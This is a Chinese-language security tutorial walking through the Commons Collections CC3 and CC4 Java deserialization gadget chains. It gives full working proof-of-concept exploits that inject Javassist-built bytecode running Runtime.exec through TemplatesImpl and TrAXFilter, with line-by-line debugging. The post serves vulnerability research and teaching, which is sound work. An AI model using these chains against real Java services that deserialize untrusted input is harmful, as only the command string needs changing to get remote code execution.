CC3

前言

CC3相当于CC1和CC2的结合,仔细分析过CC1和CC2来看CC3就非常简单。

可参考:
通俗易懂的Java Commons Collection 1分析
通俗易懂的Java Commons Collection 2分析

环境搭建

  • JDK 1.7
  • Commons Collections 3.1
  • javassist

pom.xml中添加:

<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.1</version>
    </dependency>

    <dependency>
        <groupId>org.javassist</groupId>
        <artifactId>javassist</artifactId>
        <version>3.24.1-GA</version>
    </dependency>
</dependencies>

利用链

ObjectInputStream.readObject()
        AnnotationInvocationHandler.readObject()
            Map(Proxy).entrySet()
                AnnotationInvocationHandler.invoke()
                    LazyMap.get()
                        ChainedTransformer.transform()
                        ConstantTransformer.transform()
                        InstantiateTransformer.transform()
                        newInstance()
                            TrAXFilter#TrAXFilter()
                            TemplatesImpl.newTransformer()
                                     TemplatesImpl.getTransletInstance()
                                     TemplatesImpl.defineTransletClasses
                                     newInstance()
                                        Runtime.exec()

前置知识

CC3中会用到两个新的类,这里先介绍一下:

TrAXFilter

在该类的构造方法中,调用了传入参数的newTransformer()方法,看到这个方法有点熟悉了,可以实现命令执行,并且参数可控;
CC2中,就是在InvokerTransformer.transform()中通过反射调用TemplatesImpl.newTransformer()方法,而CC3中,就可以直接使用TrAXFilter来调用newTransformer()方法。

InstantiateTransformer
该类实现了TransformerSerializable接口;

在它的transform()方法中,判断了input参数是否为Class,若是Class,则通过反射实例化一个对象并返回;

POC分析

package blckder02;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void main(String[] args) throws Exception {

        //使用Javassit新建一个含有static的类
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        cc.writeFile();
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};

        //补充实例化新建类所需的条件
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        setFieldValue(templates, "_name", "blckder02");
        setFieldValue(templates, "_class", null);

        //实例化新建类
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };
        ChainedTransformer transformerChain = new ChainedTransformer(transformers);

        //调用get()中的transform方法
        HashMap innermap = new HashMap();
        LazyMap outerMap = (LazyMap)LazyMap.decorate(innermap,transformerChain);

        //设置代理,触发invoke()调用get()方法
        Class cls1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = cls1.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler1 = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler1);

        InvocationHandler handler2 = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3.bin"));
            outputStream.writeObject(handler2);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3.bin"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }

    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

前面基本是CC2的内容;
代码1

ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
cc.writeFile();
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};

使用javassit创建一个类,这个类中包含static代码块,其中包含命令执行代码,只要实例化这个类,就会执行static中的代码;
最后把该类转换为字节码存到targetByteCodes数组中;

代码2

TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "blckder02");
setFieldValue(templates, "_class", null);

实例化一个 TemplatesImpl类对象,给一些参数赋值,赋值原因CC2中说明了原因;

代码3

Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(TrAXFilter.class),
        new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);

这里有一些不一样,将TrAXFilter.class传给ConstantTransformer,那么就会返回TrAXFilter类,然后传给InstantiateTransformer,在InstantiateTransformer类中就会实例化TrAXFilter类,然而调用它的构造方法,进而调用newTransformer()方法,从而实现命令执行;
然后就是要找到调用ChainedTransformer.transform()的地方,才能对transformers 数组进行回调;

接下来就是CC1的内容了;
代码4

HashMap innermap = new HashMap();
LazyMap outerMap = (LazyMap)LazyMap.decorate(innermap,transformerChain);

new了一个LazyMap的对象,LazyMap的get()方法调用了transform()方法,factory参数就是传入的transformerChain,达到了代码3的条件;

接着就是要找一个调用get()的地方,
代码5

Class cls1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = cls1.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler1 = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler1);

InvocationHandler handler2 = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);

还是P牛那句话:

  • 我们如果将AnnotationInvocationHandler对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke方法中,进而触发我们的LazyMap#get。

AnnotationInvocationHandler是调用处理器,outerMap是被代理的对象,只要调用了LazyMap中的任意方法,就会触发AnnotationInvocationHandler中的invoke方法;

而在readObject方法中调用了entrySet()方法,所以触发invoke;

在invoke方法中就调用了get方法;

这样就基本上达到了执行命令所需要的条件。

POC调试

this.memberValues参数值为LazyMap,调用了它的entrySet方法,触发到invoke方法;

跟进get方法,factory参数为ChainedTransformer的实例化对象,这里调用了它的transform方法;

跟进到ChainedTransformer.transform(),对transformers[]数组进行循环;

第一轮循环,iTransformers[0]参数值为ConstantTransformer,进入它的transform方法,返回TrAXFilter类;

第二轮循坏,iTransformers[1]参数值为InstantiateTransformer,TrAXFilter作为参数传入transform方法;

跟进它的transform方法,input参数值为TrAXFilteriParamTypes参数值为TemplatesiArgs参数值为TemplatesImpl的实例化对象templates,return了TrAXFilter类对象;

getConstructor(iParamTypes)获取它参数为Templates类的构造方法时,调用了TransformerImpl的newTransformer()

跟进newTransformer(),调用了getTransletInstance()方法;

跟进,_name参数值为我们传入的blckder02,进入第二个if,_class参数值为null,_bytecodes参数值为用javassit创建的类的字节码;
最后实例化_class[_transletIndex],该参数的值就为EvilCat606069074499600

执行static中的代码;

命令执行成功;

CC4

前言

CC4相当于是CC2和CC3的结合,只要熟悉前面几条链了,这条链也就很容易看懂了;
CC4和CC2一样是通过调用TransformingComparator.compare()来实现transform()的调用;
和CC3一样是通过实例化TrAXFilter类,然后调用它的构造方法,进而实现newTransformer()的调用;

环境搭建

  • JDK 1.7
  • commons-collections 4.0
  • javassist

pom.xml中添加:

<dependencies>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.25.0-GA</version>
            <scope>compile</scope>
        </dependency>
    </dependencies>

利用链

ObjectInputStream.readObject()
    PriorityQueue.readObject()
        PriorityQueue.heapify()
            PriorityQueue.siftDown()
                PriorityQueue.siftDownUsingComparator()
                    TransformingComparator.compare()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InstantiateTransformer.transform()
                            newInstance()
                                TrAXFilter#TrAXFilter()
                                TemplatesImpl.newTransformer()
                                         TemplatesImpl.getTransletInstance()
                                         TemplatesImpl.defineTransletClasses
                                         newInstance()
                                            Runtime.exec()

POC分析

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC4 {
    public static void main(String[] args) throws Exception {

        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        cc.writeFile();
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};

        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        setFieldValue(templates, "_name", "name");
        setFieldValue(templates, "_class", null);

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        };
        ChainedTransformer transformerChain = new ChainedTransformer(transformers);

        TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
        PriorityQueue queue = new PriorityQueue(1);

        Object[] queue_array = new Object[]{templates,1};
        Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
        queue_field.setAccessible(true);
        queue_field.set(queue,queue_array);

        Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
        size.setAccessible(true);
        size.set(queue,2);


        Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        comparator_field.setAccessible(true);
        comparator_field.set(queue,Tcomparator);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc4"));
            outputStream.writeObject(queue);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc4"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

代码1
使用javassit创建一个类,这个类中包含static代码块,其中包含恶意命令执行代码,只要实例化这个类,就会执行static中的代码;
最后把该类转换为字节码存到targetByteCodes数组中;

ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
cc.writeFile();
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};

代码2
实例化一个 TemplatesImpl类对象,给一些参数赋值,赋值原因CC2中说明了原因;

TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);

代码3
TrAXFilter.class传给ConstantTransformer,那么就会返回TrAXFilter类,然后传给InstantiateTransformer,在InstantiateTransformer类中就会实例化TrAXFilter类,然而调用它的构造方法,进而调用newTransformer()方法,从而实现命令执行;

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);


代码4
实例化一个TransformingComparator对象,将transformer传进去;
实例化一个PriorityQueue对象,传入不小于1的整数,comparator参数就为null;

TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
 PriorityQueue queue = new PriorityQueue(1);

代码5
新建一个对象数组,第一个元素为templates,第二个元素为1;
然后通过反射将该数组传到queue中;

Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
        queue_field.setAccessible(true);
        queue_field.set(queue,queue_array);

代码6
通过反射将queue的size设为2,因为在PriorityQueue.heapify()中,size的值需要大于1才能进入下一步;(CC2中有说到)

Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
        size.setAccessible(true);
        size.set(queue,2);


代码7
通过反射给queue的comparator参数赋值,从而调用到compare()方法,实现transform()的调用;

Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        comparator_field.setAccessible(true);
        comparator_field.set(queue,Tcomparator);

POC调试

还是从PriorityQueue.readObject()开始;
queue[]里面是我们传入的TemplatesImpl类的实例化对象和整数1;

跟进heapify(),size值为2;

跟进siftDown,comparator参数不为null;

跟进siftDownUsingComparator,调用了compare()

跟进compare()obj1就是传入的templates,this.transformerChainedTransformer的实例化对象,也就是调用了ChainedTransformer.transform()

跟进ChainedTransformer.transform(),进入循坏;
第一轮iTransformer参数值为ConstantTransformer,即调用了ConstantTransformer.transform()

跟进ConstantTransformer.transform()iConstant参数值为传入的TrAXFilter.class,即返回了TrAXFilter

回到ConstantTransformer.transform()进入第二轮循环,这次的iTransformer参数值为InstantiateTransformer,object参数值为TrAXFilter

跟进InstantiateTransformer.transform(),返回TrAXFilter类对象;

在实例化TrAXFilter类时,调用了它的构造方法,其中调用了templates.newTransformer()

后面就和CC2一样啦,到这里实例化了javassit新建类;

命令执行成功;

参考链接:
https://paper.seebug.org/1242
https://www.cnblogs.com/nice0e3/p/13854098.html
https://www.cnblogs.com/nice0e3/p/14032604.html

点击收藏 | 1 关注 | 2 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖